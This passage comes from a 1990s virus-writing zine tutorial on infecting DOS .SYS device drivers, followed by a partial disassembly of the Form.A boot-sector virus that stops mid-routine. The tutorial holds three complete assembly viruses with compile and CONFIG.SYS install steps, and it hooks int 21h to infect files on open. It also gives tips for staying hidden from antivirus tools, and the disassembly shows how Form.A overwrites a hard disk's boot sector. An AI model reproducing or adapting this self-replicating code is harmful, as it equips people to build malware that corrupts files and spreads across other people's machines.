or go resident and hook int 21h to infect .SYS files opened later, like

Vecna/29A did in his SysV virus (published in 29A #3). There's just an

important thing to consider if you decide to go resident via MCBs: at the

point in time when .SYS files are loaded, there is just one big MCB that

fills all conventional memory from the start of the MCB chain to the TOM.

So you need to decrease its size to get place for your own viral home. But

where is this MCB located? Very simple to get, its address is located int

DOS's list of lists. And the location of this list will be returned by the

(undocumented) int 21h function 52h. There are no further parameters needed,

and after the call you'll have the segment address of the first MCB in the

word at es:[bx-2]. If it's not clear to you what I mean yet, just wait for

the example virus.

And after your virus has done its dirty work, you'll need to restore the

original address of the routine you've hooked in the header (you've saved it

somewhere, right?) and jump to that location. To restore the value is very

important if your virus is direct acting or goes memory resident at a

different location (IVT, MCB, TOM...), because otherwise the program

execution would jump to the location of the virus in memory every time the

device driver is called, but the virus won't be there any more - a system

crash is guaranteed. Not needet is it of course if your virus stays resident

directly after the driver it has infected (which would require to hook the

driver's init call and then change the end address in its parameter block

to be able to stay at that location). But if you decide to stay resident

within the device driver area, I would recommend you to use the second

infection method anyways.

Well, I hope the algorithm is quite clear to you, so I'll let an example

follow. Since I'm too lazy to code an example virus for a tutorial from

scratch it is based on my Pr„h- (the MCB code) and Trinity- (the .SYS

infection part) virii. Both were published in LineZer0 zine #1 (get it, if

you're interested in reading a full virus by me utilising .SYS infection!)

======= [Sysx_I.asm] ========================================================

; Sysxample I virus (c) 1999 by Black Jack /LineZer0 /Metaphase

; written as an example for my SYS infection tutorial in Metaphase #2

;

; compile with:

;       TASM sysx_I

;       TLINK sysx_I

;

; run the .EXE dropper to install the virus resident into memory. All .SYS

; files opened afterwards will become infected.

.model tiny

.radix 10

.286

host_strategy     = 6

virus_length_mem  = ((offset end_virus_mem) - (offset virus_start))

virus_length_file = ((offset end_virus_file) - (offset virus_start))

ping              = "sx"

pong              = "SX"

.code

org 0

virus_start:

pushf                           ; save registers

pusha

push ds

push es

call get_delta                  ; get delta offset to SI

get_delta:

pop si

sub si, offset get_delta

mov ax, ping                    ; already resident?

int 21h

cmp ax, pong

JE return                       ; if yes, then restore host

mov ah, 52h                     ; get DOS list of lists

int 21h

mov dx, es:[bx-2]               ; DX=first MCB segment

mov es, dx                      ; ES=first MCB segment

entry_1st_gen:

mov ah, 4Ah                     ; change memory size of our mcb

mov bx, es:[3]                  ; reserved memory size into BX

sub bx, ((virus_length_mem+15)/16)+1 ; sub length of virus in memory

inc dx                          ; DX=address of first reserved mem

mov es, dx                      ; ES=DX=first reserved memory area

int 21h

mov ah, 48h                     ; reserve memory for our virus

mov bx, (virus_length_mem+15)/16; virus length in paragraphs

int 21h

push cs                         ; DS=CS

pop ds

xor di, di                      ; ES:DI = pointer to destination

mov es, ax                      ; AX=segment address of our mem

mov cx, (virus_length_mem+1)/2  ; length in words

cld                             ; go upwards

rep movsw                       ; copy virus code

mov ds, ax                      ; set DS to our memory block

dec ax                          ; AX=segment address of our mem

mov es, ax                      ; AX-1=MCB address

mov word ptr es:[1], 8          ; make it a system area

mov ax, 3521h                   ; get interrupt vector 21h

int 21h

mov int21_segm, es              ; save vector

mov int21_offs, bx

mov ax, 2521h                   ; set interrupt vector 21h to virus

mov dx, offset new_int21        ; DS:DX=pointer to new routine

int 21h

return:

; mov word ptr cs:[host_strategy], org_strategy

db 2Eh, 0C7h, 06h

dw host_strategy

org_strategy dw exit_1st_gen

pop es                          ; restore registers

pop ds

popa

popf

JMP cs:host_strategy            ; jump to host's strategy routine

new_int21:

cmp ax, ping                    ; residency check

JNE no_residency_check

mov ax, pong

iret

no_residency_check:

cmp ah, 6Ch                     ; extended open function

JNE org_int

pusha                           ; save registers

push ds

push es

mov ax, 3D02h                   ; open file r/w

mov dx, si

int 21h

JC exit_infect                  ; if error, then exit

xchg bx, ax                     ; handle to BX

push cs                         ; DS=CS

pop ds

mov ah, 3Fh                     ; read fileheader

mov cx, 10                      ; length to read

mov dx, offset sys_header_buffer ; DS:DX=pointer to buffer

int 21h

mov ax, word ptr ds:[offset victim_id]

inc ax                          ; AX=0FFFFh ?

JNZ close_victim                ; close if no real .SYS file

mov ax, 4202h                   ; move file pointer to EOF

xor cx, cx

cwd                             ; CX:DX=offset new filepointer=0

int 21h

mov cx, ax                      ; filelength

sub cx, virus_length_file

cmp cx, victim_strategy

JE close_victim                 ; if equal, it's already infected

mov cx, victim_strategy         ; save strategy routine of our victim

mov org_strategy, cx            ; save it to our data area

mov victim_strategy, ax         ; and set new strategy routine to EOF

mov ah, 40h                     ; append virus body

xor dx, dx                      ; DS:DX=pointer to writebuffer

mov cx, virus_length_file       ; length to write

int 21h

mov ax, 4200h                   ; move file pointer to BOF

xor cx, cx

cwd                             ; CX:DX=offset new filepointer=0

int 21h

mov ah, 40h                     ; write new header

mov cx, 10                      ; length to write

mov dx, offset sys_header_buffer

int 21h                         ; DS:DX=pointer to write buffer

close_victim:

mov ah, 3Eh                     ; close file

int 21h

exit_infect:

pop es                          ; restore registers

pop ds

popa

org_int:

db 0EAh         ; jmp far

int21_offs              dw ?

int21_segm              dw ?

copyright     db "[Sysxample I virus by Black Jack /LineZer0 /Metaphase]", 0

end_virus_file:

sys_header_buffer:

victim_id               dd ?            ; SYS file id (-1)

victim_attrib           dw ?            ; attributes

victim_strategy         dw ?            ; offset strategy-routine

victim_interrupt        dw ?            ; offset interrupt-routine

end_virus_mem:

; ----- the rest is just first generation dropper code ----------------------

dropper:

pushf                           ; save registers

pusha

push ds

push es

xor si, si                      ; delta offset for 1st generation

mov dx, es

dec dx

mov es, dx                      ; ES=DX=our MCB address

jmp entry_1st_gen               ; enter virus code

exit_1st_gen:

push cs                         ; DS=CS

pop ds

mov ah, 9                       ; display message

mov dx, offset message

int 21h

mov ax, 4C00h                   ; quit

int 21h

message db "Black Jack's Sysxample I virus was released into memory.", 0AH, 0Dh, "$"

end dropper

======= [END Sysx_I.asm] ====================================================

2. Adding a second driver to the file

-------------------------------------

This method was described first by Dark Angel/PS in a very good article in

40hex #9. His idea was to mess with the pointer to the next driver. As I

already explained before, it is possible for a single .SYS file to contain

two or even more device drivers. So what can we do? We make our virus a full

driver with an own header, a strategy routine and an interrupt routine. Then

we append it to another .SYS file and point the next driver fild in its header

to our own header. When this file is loaded from the CONFIG.SYS, DOS will

first call the init routines of all drivers in the file one after the other.

So our virus will recieve control when its init function is called by DOS.

Then we hook int 21h and stay resident right where we are by telling DOS

our end address in memory in our parameter block. Of course you could also

infect direct acting or go resident somewhere else, but why, if you can

stay resident that simple? Also you stay resident with your host, and when

you view the memory with a memory mapping tool, you won't see an area where

the virus is located, you'll just see that the area where the host is has

increased - definitely less suspicious than MCB residency. Also AV watchdogs

won't catch anything suspicious, because the virus goes resident like any

other device driver - not to say the many AV TSRs will be loaded after our

virus anyways. But unfortunately this method has also some big disadvantages:

the host will get control BEFORE our virus! And if it uses some uninitalised

variables in its heap, our virus will get overwritten, and the system will

crash. And since there are quite many device drivers that use a heap, this

method is *VERY* unstable. :-(

Another little problem is that the size of a device driver in memory is not

always the same than its size on disk. Just think of HIMEM.SYS, that is 30KB

on disk, but just about 1KB in memory. If it would get infected this way, its

size in memory would be 30KB again, because the virus decides that the memory

has to stay reserved to its end, and unfortunately its at the end of the file

and there are 29KB of crap that is not used any more between it and the

resident part of its host.

======= [SYSX_II.ASM] =======================================================

; Sysxample II virus (c) 1999 by Black Jack /LineZer0 /Metaphase

; written as an example for my SYS infection tutorial in Metaphase #2

;

; compile with:

;       TASM sysx_II

;       TLINK sysx_II

;       EXE2BIN sysx_II.exe sysx_II.sys

;

; install the resulting .SYS file in your CONFIG.SYS. All .SYS files opened

; afterwards will become infected.

;

; WARNING: this virus is very unstable and will corrupt many files it infects.

; This is not a bug though, but a result of the used infection method. Blame

; Dark Angel, not me!

length_virus_header = start_virus_body - start_header

length_virus_body   = end_virus - start_virus_body

ping                = "sx"

pong                = "SX"

.model tiny

.radix 10

.286

.code

org 0

start_header:

dd -1                   ; .SYS file with one driver

attrib          dw 8000h                ; attributes:it's an char drv

strategy        dw offset strategy_proc ; offset strategy-routine

interrupt       dw offset interrupt_proc ; offset interrupt-routine

start_virus_body:

drv_name        db "SYSXAMPL"           ; name of driver

strategy_proc:

push si                         ; save SI

call strategy_delta             ; get delta offset

strategy_delta:

pop si

sub si, offset strategy_delta

mov cs:[si+offset datablock_offs], bx   ; save address of

mov cs:[si+offset datablock_segm], es   ; parameter block

pop si                          ; restore SI

retf                            ; return to DOS

interrupt_proc:

pushf                           ; save registers

pusha

push ds

push es

push cs                         ; DS=CS

pop ds

call interrupt_delta            ; get delta offset

interrupt_delta:

pop si

sub si, offset interrupt_delta

les di, [si+datablock_ptr]

mov word ptr es:[di+3], 8103h   ; status word: function doesn't exist

cmp byte ptr es:[di+2], 0       ; function number in data block

jne quit_interrupt_routine

mov word ptr es:[di+3], 100h    ; status: ready

lea ax, [si+end_virus]

mov word ptr es:[di+14], ax     ; offset of end address of driver

mov word ptr es:[di+16], cs     ; segment of end address of driver

; the virus always stays resident,

; because this makes it a little bit

; more stable (but don't ask me why).

mov ax, ping                    ; residency check

int 21h

cmp ax, pong

JE quit_interrupt_routine       ; don't hook int21h if already loaded

mov ax, 3521h                   ; get interrupt vector 21h

int 21h

mov [si+offset int21_segm], es  ; save vector

mov [si+offset int21_offs], bx

mov ax, 2521h                   ; set interrupt vector 21h to virus

lea dx, [si+new_int21h]         ; DS:DX=pointer to new routine

int 21h

quit_interrupt_routine:

pop es                          ; restore registers

pop ds

popa

popf

retf                            ; return to DOS

datablock_ptr EQU this dword

datablock_offs dw ?

datablock_segm dw ?

new_int21h:

cmp ax, ping                    ; Are-you-there function

JNE not_see_if_there

mov ax, pong

IRET

not_see_if_there:

pusha                           ; save registers

push ds

push es

cmp ah, 6Ch                     ; extended open function?

JNE exit_infect                 ; if not, return to original int 21h

mov dx, si                      ; DS:SI=Pointer to filename

call infect_delta               ; get delta offset

infect_delta:

pop si

sub si, offset infect_delta

mov ax, 3D02h                   ; open victim (read/write)

int 21h

JC exit_infect                  ; if error, then quit

xchg bx, ax                     ; filehandle to BX

push cs                         ; DS=CS

pop ds

mov ah, 3Fh                     ; read first two bytes of victim

mov cx, 2

lea dx, [si+sys_id]

int 21h

mov ax, [si+sys_id]             ; is it a true, uninfected .SYS file?

inc ax                          ; if so, the first word will be -1

JNZ close_file                  ; if not, close it and quit

mov ax, 4202h                   ; set filepointer to EOF

xor cx, cx

cwd

int 21h

mov [si+sys_id], ax             ; save length of file (offset to

; appended virus)

sub ax, si                      ; SI=delta offset=length of our host

mov dx, [si+offset strategy]    ; offset strategy routine in this host

add dx, ax

mov [si+offset new_strategy], dx ; offset strategy routine for new host

mov dx, [si+offset interrupt]   ; same for interrupt routine offset

add dx, ax

mov [si+offset new_interrupt], dx

mov ah, 40h                     ; append our new virus .SYS header

mov cx, length_virus_header

lea dx, [si+new_header]

int 21h

mov ah, 40h                     ; append virus body

mov cx, length_virus_body

lea dx, [si+offset start_virus_body]

int 21h

mov ax, 4200h                   ; move filepointer to BOF

xor cx, cx

cwd

int 21h

mov ah, 40h                     ; write offset to virus as next

mov cx, 2                       ; device pointer to the host header

lea dx, [si+sys_id]

int 21h

close_file:

mov ah, 3Eh                     ; close the victim

int 21h

exit_infect:

pop es                          ; restore registers

pop ds

popa

db 0EAh                 ; jump to original int 21h

org_int21h      EQU this dword

int21_offs      dw ?

int21_segm      dw ?

sys_id          dw ?                    ; buffer for next device pointer

new_header:

dd -1                   ; .SYS file with one driver

dw 8000h                ; attributes: char device

new_strategy    dw offset strategy_proc ; offset strategy-routine

new_interrupt   dw offset interrupt_proc ; offset interrupt-routine

copyright       db "[Sysxample II virus by Black Jack /LineZer0 /Metaphase]", 0

end_virus:

end

======= [END SYSX_II.ASM] ===================================================

3. Prepending a new driver to the file

--------------------------------------

As we have seen, Dark Angel's method is basically a good idea with some nice

advantages, although it also has some severe problems. I've thought a bit

about the problem and have found another infection way that is quite similar

to Dark Angel's method, but doesn't have the mentioned problems. The solution

is simple: the virus is a full device driver again, but we do not append it

to the victim, but we prepend it and shift the host back. Then we let the

next device pointer of our virus, which is the first driver in the file now,

point to the header of the host. Of course all offsets in the victim will be

shifted back then. But there's a simple solution for that too: Simply set the

strategy- and interrupt-routine to a far jump that you relocate yourself.

This jump must have as segment entry the starting segment of the host (so you

have to make sure that the size of your virus is a multiple of 16) and as

offset the regular address of the routine from the header of the uninfected

host.

This method has all advantages of Dark Angel's method (going resident as a

regular device driver, the virus gets actice before most TSR AVs), but it

also solves its problems, the virus will get active before the host and is

not in its heap. Also the unused garbage after the host won't stay in memory.

The only slight disadvantage is that the virus has to stay memory resident in

any case, because it is the first device in the file, but this should not

matter too much if your virus isn't too huge.

A final tip: it would be a good idea to copy the name of the host device into

the header of your virus device to make it less suspicious. This wasn't done

in the example virus, but that's why it is called an example.

======= [SYSX_III.ASM] ======================================================

; Sysxample III virus (c) 1999 by Black Jack /LineZer0 /Metaphase

; written as an example for my SYS infection tutorial in Metaphase #2

;

; compile with:

;       TASM sysx_III

;       TLINK sysx_III

;       EXE2BIN sysx_III.exe sysx_III.sys

;

; install the resulting .SYS file in your CONFIG.SYS. All .SYS files opened

; afterwards will become infected.

;

; PLEASE NOTE: This virus needs to allocate memory every time it infects. And

; so it won't be able to replicate if no memory is available. Since it can

; use UMBs, make sure they are available, to ensure the virus has the memory

; it needs to infect.

length_sys_header   = start_virus_body - start_header

length_virus_body   = end_virus - start_virus_body

ping                = "sx"

pong                = "SX"

.model tiny

.radix 10

.286

.code

org 0

start:

start_header:

sys_id          dw -1                   ; .SYS file with one driver

dw -1                   ;   "   "    "    "    "

start_virus_body:

attrib          dw 8000h                ; attributes:it's an char drv

strategy        dw offset strategy_proc ; offset strategy-routine

interrupt       dw offset interrupt_proc ; offset interrupt-routine

drv_name        db "SYSXAMPL"           ; name of driver

strategy_proc:

mov cs:datablock_offs, bx       ; save address of parameter block

mov cs:datablock_segm, es

retf                            ; return to DOS

interrupt_proc:

pushf                           ; save registers

pusha

push ds

push es

push cs                         ; DS=CS

pop ds

les di, datablock_ptr           ; get data block address to ES:DI

mov word ptr es:[di+3], 8103h   ; status word: function doesn't exist

cmp byte ptr es:[di+2], 0       ; function number in data block

jne quit_interrupt_routine      ; quit if not init function

mov word ptr es:[di+3], 100h    ; status: ready

mov word ptr es:[di+16], cs     ; segment of end address of driver

mov word ptr es:[di+14], offset end_virus ; offset of end address of driver

mov ax, cs                      ; fix up the far jumps to the

add ax, ((end_virus-start+15) / 16)   ; routines of the host

mov host_strat_segm, ax

mov host_intr_segm, ax

mov ax, ping                    ; residency check

int 21h

cmp ax, pong

JE quit_interrupt_routine       ; quit if already resident

mov ax, 3521h                   ; get interrupt vector 21h

int 21h

mov int21_segm, es              ; save vector

mov int21_offs, bx

mov ax, 2521h                   ; set interrupt vector 21h to virus

mov dx, offset new_int21h       ; DS:DX=pointer to new routine

int 21h

quit_interrupt_routine:

pop es                          ; restore registers

pop ds

popa

popf

retf                            ; return to DOS

; ----- INT 21h HOOK --------------------------------------------------------

new_int21h:

cmp ax, ping                    ; Are-you-there function

JNE not_see_if_there

mov ax, pong

IRET

not_see_if_there:

cmp ah, 6Ch                     ; extended open function?

JE infect

JMP original_int21h             ; if not, return to original int 21h

infect:

pusha                           ; save registers

push ds

push es

mov ax, 5803h                   ; use UMBs

mov bx, 1

int 21h

mov ax, 3D02h                   ; open victim (read/write)

mov dx, si                      ; DS:SI=Pointer to filename

int 21h

xchg bx, ax                     ; filehandle to BX

mov ax, 4202h                   ; move filepointer to EOF

; to get victims length

xor cx, cx                      ; CX=0

cwd                             ; DX=0

int 21h

mov cs:host_length, ax          ; save length of host

push bx                         ; save file handle

xchg bx, ax                     ; BX=length of host

shr bx, 4                       ; convert to paragraphs

inc bx                          ; round up

mov ah, 48h                     ; allocate memory block, big enough

int 21h                         ; to read the whole host

pop bx                          ; restore file handle

JC close_file                   ; quit if not enough mem available

push ax                         ; save segment adress if our memory

mov ds, ax                      ; set DS to our memory block

mov ax, 4200h                   ; set file pointer to BOF

xor cx, cx                      ; CX=0

cwd                             ; DX=0

int 21h

mov ah, 3Fh                     ; read the victim in

db 0B9h                         ; mov cx, host_length

host_length     dw 0                    ; CX=bytes to read

xor dx, dx                      ; DS:DX=pointer to read buffer

int 21h

mov ax, ds:sys_id               ; is it a true .SYS file?

inc ax                          ; if so, the first word will be -1

JNZ quit_infect                 ; if not, close it and quit

cmp word ptr ds:infection_mark, "SX" ; is it already infected?

infection_mark = $-2

JE quit_infect                  ; if yes, then exit

mov ax, offset host_strategy    ; save original strategy routine

xchg ds:strategy, ax            ; offset and set the new one (far

mov cs:host_strat_offs, ax      ; jmp in the virus to fix the segment)

mov ax, offset host_interrupt   ; same stuff for interrupt routine

xchg ds:interrupt, ax

mov cs:host_intr_offs, ax

push ds                         ; save DS (our memory block)

push cs                         ; DS=CS

pop ds

mov ax, 4200h                   ; set file pointer to BOF

xor cx, cx                      ; CX=0

cwd                             ; DX=0

int 21h

mov ah, 40h                     ; write the header of the virus

mov cx, length_sys_header       ; length to write

mov dx, offset our_header       ; DS:DX=address of write buffer

int 21h

mov ah, 40h                     ; write virus body

mov cx, length_virus_body       ; length to write

mov dx, offset start_virus_body ; DS:DX=address of write buffer

int 21h

mov ah, 40h                     ; write host

mov cx, host_length             ; length to write

xor dx, dx                      ; DS:DX=address of write buffer (host)

pop ds                          ; DS=address of memory block with host

int 21h

quit_infect:

pop es                          ; ES=segment address of block to free

mov ah, 49h                     ; free memory block

int 21h

close_file:

mov ah, 3Eh                     ; close the victim

int 21h

exit_infect:

mov ax, 5803h                   ; don't use UMBs any more

xor bx, bx

int 21h

pop es                          ; restore registers

pop ds

popa

original_int21h:

db 0EAh                 ; jump to original int 21h

org_int21h      EQU this dword

int21_offs      dw ?

int21_segm      dw ?

; ----- REDIRECTION PROCEDURES FOR HOST -------------------------------------

host_strategy:

db 0EAh

host_strat_offs dw 0

host_strat_segm dw 0

host_interrupt:

db 0EAh

host_intr_offs  dw 0

host_intr_segm  dw 0

; ----- DATA ----------------------------------------------------------------

our_header:                             ; original header of virus

dw offset end_virus     ; offset of next device pointer

dw -1                   ; segment of next device pointer

copyright       db "[Sysxample III virus by Black Jack /LineZer0 /Metaphase]", 0

datablock_ptr EQU this dword

datablock_offs dw ?

datablock_segm dw ?

end_real_stuff:                         ; make it a paragraph boundary

db ((((end_real_stuff - start + 15) / 16) * 16) - (end_real_stuff - start)) dup (0)

end_virus:

end

======= [END SYSX_III.ASM] ==================================================

Final Tips

----------

If you want to code a resident .SYS infector that infects on open: during

bootup the system opens the standart I/O handles (CON, AUX, PRN) with the

function 3Dh (file open). So if you hook this function for infection, make

sure that the thingy you try to infect is really a file. If you don't, some

quite strange things will appear (Ever tried to read from the printer?).

Most of the .SYS files that come with Windows 95/98 (MS-DOS 7.xx) have an

ENUNS signature at the end, and some of them won't work properly if something

is appended at their end - it is basically the same problem as with the .COM

ENUNS files. And it also has the same work-around. I won't explain here how

to patch the ENUNS shit to make the files work again, this would be too far

from our topic. If you still don't know how it works, read Living Turmoil

mag #1, you'll find an article by Yosha that explains everything you need to

know. Just remember: it works exactly the same with .SYS files.

Bibliography

------------

Credits and thanks go to Int13h/iKx for his great .SYS infection tutorial

in Xine#3, Dark Angel/PS for another good tut in 40hex #9, Qark/Vlad for his

Systa virus in Vlad-AF and finally Vecna/29A for his SysV virus in 29A#3.

DISCLAIMER

----------

This text contains source code that can be compiled to living viruses. I do

*NOT* support the spreading of viruses into the wild, therefore this whole

document was written for research and education only. The author and his

groups can't be hold responsible for what you decide to do with the

information and/or sources presented in this document.


Disassembly of Form.a by Black Jack

comment %

Name            : Form.A

Author          : ?

Type            : resident boot sector infector

Size            : 2 sectors

Origin          : Switzerland

When            : 1990

Status          : widespread in the wild

Disassembled by : Black Jack /LineZer0 /Metaphase

Description:

On bootup it will go resident at the TOM. Then it will try to infect the HD

directly, if it wasn't infected before. It will infect the dos boot sector,

not the MBR, the original boot sector and the second portion of virus code

are stored on the last two sectors of the disk.

After that, it will hook int 13h and on payload-time at the 18th of each

month also int 9h (As payload it produces a short clicking noise everytime

a key is pressed). Then it will give control to the original boot sector.

This is done manually, since the virus uses no stealth. It infects on reading

from the first track of a floppy. Then it will search the FAT of the floppy

disk for two free sectors, mark them as bad in the FAT and use them for the

original boot sector and the second part of the virus body.

Comments:

About the same time I had started to write non-resident com-infectors,

a friend of mine got infected with this little beast. I helped him to get rid

of it, but of course I kept a copy for myself. And now, that I have a little

more knowledge about virii than at that point in time, I decided to

disassemble it (and also because I haven't seen another disassembly of it

before, although it is quite widespread). It seems interesting to me, because

it is quite different to most other boot virii I've seen before.

Reassembley tested with Tasm 3.1 and TLink 3.0 .

TASM /M form

TLINK form

%

.model tiny

.code

org 0

start:

jmp     short real_start

nop

bpb:

; The name of disk formatter

; here the virus stores some

; variables:

res_sectors     dw      534Dh                   ; reserved sectors (BS, FAT,

; main directory)

clusters        dw      4F44h                   ; clusters on a volume

FAT_counter     db      53h                     ; counter variable

db      35h, 2Eh, 30h           ; rest of disk formatter name

dw      0200h                   ; bytes per sector

sec_per_cluster db      1                       ; sectors per cluster

dw      1                       ; number of reserved sectors

FATs            db      2                       ; number of FATs

main_entries    dw      0E0h                    ; number of entries in the

; main directory

sectors         dw      0B40h                   ; number of sectors in volume

db      0F0h                    ; media-descriptor

sec_per_FAT     dw      9                       ; sectors per FAT

sec_per_track   dw      12h                     ; sectors per track

heads           dw      2                       ; number of heads

dw      0                       ; sectors between 1st on

; volume and 1st on disk

extended_bpb:

db      8 dup (0)

db      029h, 0D1h, 01Dh, 05Eh, 02Dh

db      "NO NAME    "           ; volume name

db      "FAT12   "              ; filesystem

db      0FAh                    ; CLI - 1st byte of original

; boot routine left

virus_data:

marker          dw      0FE01h                  ; infection marker

org_int13h_vect dd      0F000E3FEh              ; original int 13h vector

org_int9h_vect  dd      000000000h              ; original int 9h vector

org_BS_CX       dw      2C0Ah                   ; address of original boot

org_BS_DX       dw      100h                    ; sector on disk

code_2nd_CX     dw      2C09h                   ; address of second virus code

code_2nd_DX     dw      100h                    ; sector on disk

bootsector_CX   dw      1                       ; address of DOS boot sector

bootsector_DX   dw      180h                    ; on harddisks

real_start:

cli                             ; Disable interrupts

xor     ax,ax                   ; Zero register

mov     ss,ax                   ; set up stack

mov     sp,7BFEh                ; SS:SP=0000h:7BFEh

sti                             ; Enable interrupts

push    ds                      ; save registers

push    si

push    dx

push    ax                      ; ES=AX=0

pop     es

mov     ax,7C0h

mov     ds,ax

xor     si,si                   ; DS:SI=07C0h:0000h

; (start of virus in memory)

sub     word ptr es:[413h],2    ; steal 2KB at TOM

mov     ax,es:[413h]            ; move new mem size to AX

mov     cl,6

shl     ax,cl                   ; convert to segments

mov     es,ax

xor     di,di                   ; ES:DI=new home for virus

mov     cx,0FFh                 ; length of first sector code

cld                             ; Clear direction

rep     movsw                   ; copy 1st part of virus to TOM

push    es

mov     ax,offset continue_at_TOM

push    ax                      ; push far address for retf

mov     bx,1FEh                 ; end of 1st sector code

mov     ax,201h                 ; read one sector

mov     cx,code_2nd_CX

mov     dx,code_2nd_DX

int     13h                     ; read in 2nd sector of code

hang_if_error:  jc      hang_if_error           ; if error occurs, hang comp

retf                            ; continue in code at TOM

continue_at_TOM:

push    cs                      ; DS=CS

pop     ds

call    read_org_BS

call    infect_HD

mov     bx,13h*4                     ; vector address in IVT

mov     si,offset org_int13h_vect    ; where to store the

     ; original vector

mov     di,offset new_int13h_handler ; new handler offset

call    hook_int                     ; hook int 13h

mov     ah,4                    ; get date from realtime clock

int     1Ah

cmp     dl,18h                  ; is it the 18th today?

jne     no_payload

payload:                                              ; IT'S PAYLOAD TIME!

mov     bx,9h*4                       ; vector address in IVT

mov     si,offset org_int9h_vect      ; where to store the

      ; original vector

mov     di,offset new_int9h_handler   ; new handler offset

call    hook_int                      ; hook int 9h

; from now on there will be

; a clicking noise every time

; a key is pressed.

no_payload:

pop     dx                      ; restore saved registes

pop     si

pop     ds

xor     ax,ax                   ; Zero register

push    ax                      ; push 0

mov     ax,7C00h

push    ax                      ; push 7C00h

retf                            ; Return far to 0000h:7C00h

; to the original boot sector

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

;

; reads in the original boot sector to where it belongs: 0000h:7C00h

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

read_org_BS     proc    near

xor     ax,ax

mov     es,ax                   ; ES=0

mov     bx,7C00h                ; ES:BX=place for boot sector

mov     ax,201h                 ; read one sector

mov     cx,org_BS_CX

mov     dx,org_BS_DX

int     13h                     ; read in original boot sector

retn

read_org_BS     endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

;

; infects the dos boot sector of an HD. This works by reading in the MBR,

; searching the partition table for the boot partition and overwriting that

; boot sector with the first part of the virus code. The original boot sector

; and the second part of the virus code are stored at the last two sectors

; of the disk.

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

infect_HD       proc    near

push    cs                      ; ES=CS

pop     es

mov     dl,80h                  ; 1st hard disk

mov     ah,8                    ; get drive parameters

mov     bx,offset buffer        ; needed later

int     13h                     ; get drive params of 1st HD

jc      error_HD_infection      ; if error, quit HD infection

mov     dl,80h                  ; DL=drive number (1st HD)

mov     org_BS_CX,cx            ; save location of the last

mov     org_BS_DX,dx            ; sector on the HD (the

; original BS is stored here)

mov     ax,201h                 ; read one sector

mov     cx,1                    ; 1st sector, the MBR

xor     dh,dh                   ; side 0

; DL is already 80h (1st HD)

int     13h                     ; read MBR to buffer

error_HD_infection:

jc      quit_HD_infection

add     bx,1BEh                 ; BX=start of partition table

mov     cl,4                    ; CX=4 (4 entries in partition

; table to search)

find_boot_partition:

cmp     byte ptr [bx],80h       ; is it a boot-partition?

je      found_boot_partition

add     bx,10h                  ; go to next entry

loop    find_boot_partition     ; Loop if cx > 0

jmp     short quit_HD_infection

found_boot_partition:

mov     dh,[bx+1]               ; 1st head of partition

mov     cx,[bx+2]               ; 1st sector/cylinder

mov     bootsector_CX,cx        ; save them

mov     bootsector_DX,dx        ; DL is still 80h

mov     ax,201h                 ; read one sector

mov     bx,offset buffer        ; ES:BX=far ptr to read buffer

int     13h                     ; read original BS to buffer

jc      quit_HD_infection       ; if error, then quit

cmp     [bx+offset marker],0FE01h ; already infected?

je      quit_HD_infection       ; if so, then quit

cmp     word ptr [bx+0Bh],200h  ; 512 bytes per sector?

jne     quit_HD_infection       ; if not, then quit

mov     ax,301h                 ; write one sector

mov     cx,org_BS_CX            ; the location of the last

mov     dx,org_BS_DX            ; sector on the disk

int     13h                     ; write the original boot

; sector to a "save" place

jc      quit_HD_infection       ; if error, then quit

mov     bx,1FEh                 ; start of 2nd part of virus

dec     cx                      ; one sector before the

; original BS the 2nd part

; of the virus code is stored

mov     code_2nd_CX,cx          ; store this sector address

mov     code_2nd_DX,dx

mov     ax,301h                 ; write one sector

int     13h                     ; save the 2nd sector of virus

jc      quit_HD_infection       ; if error, then quit

call    create_vir_BS

mov     bx,offset buffer        ; ES:BX=far proc write buffer

mov     ax,301h                 ; write one sector

mov     dx,bootsector_DX        ; address of dos boot sector

mov     cx,bootsector_CX

int     13h                     ; write first part of virus

; to dos boot sector

quit_HD_infection:

retn

infect_HD       endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

; hooks an interrupt

;

; parameters:

;       BX      - address of interrupt vector in IVT (int_nr * 4)

;       SI      - where to store the original interrupt vector

;       DI      - offset of new interrupt procedure

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

hook_int        proc    near

xor     ax,ax                   ; Zero register

mov     es,ax                   ; ES=0 (IVT)

mov     ax,es:[bx]              ; AX=offset of int

mov     [si],ax                 ; store it

mov     ax,es:[bx+2]            ; AX=segment of int

mov     [si+2],ax               ; store it

cli                             ; Disable interrupts

mov     es:[bx],di              ; set offset to our routine

mov     es:[bx+2],cs            ; set segment to our segment

sti                             ; Enable interrupts

retn                            ; return to caller

hook_int        endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

;                              SUBROUTINE

;

; creates a valid boot sector out of the first part of the virus, that

; contains the bios parameter block (bpb) of the victim and a valid boot

; sector signature (0AA55h) at the end.

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

create_vir_BS   proc    near

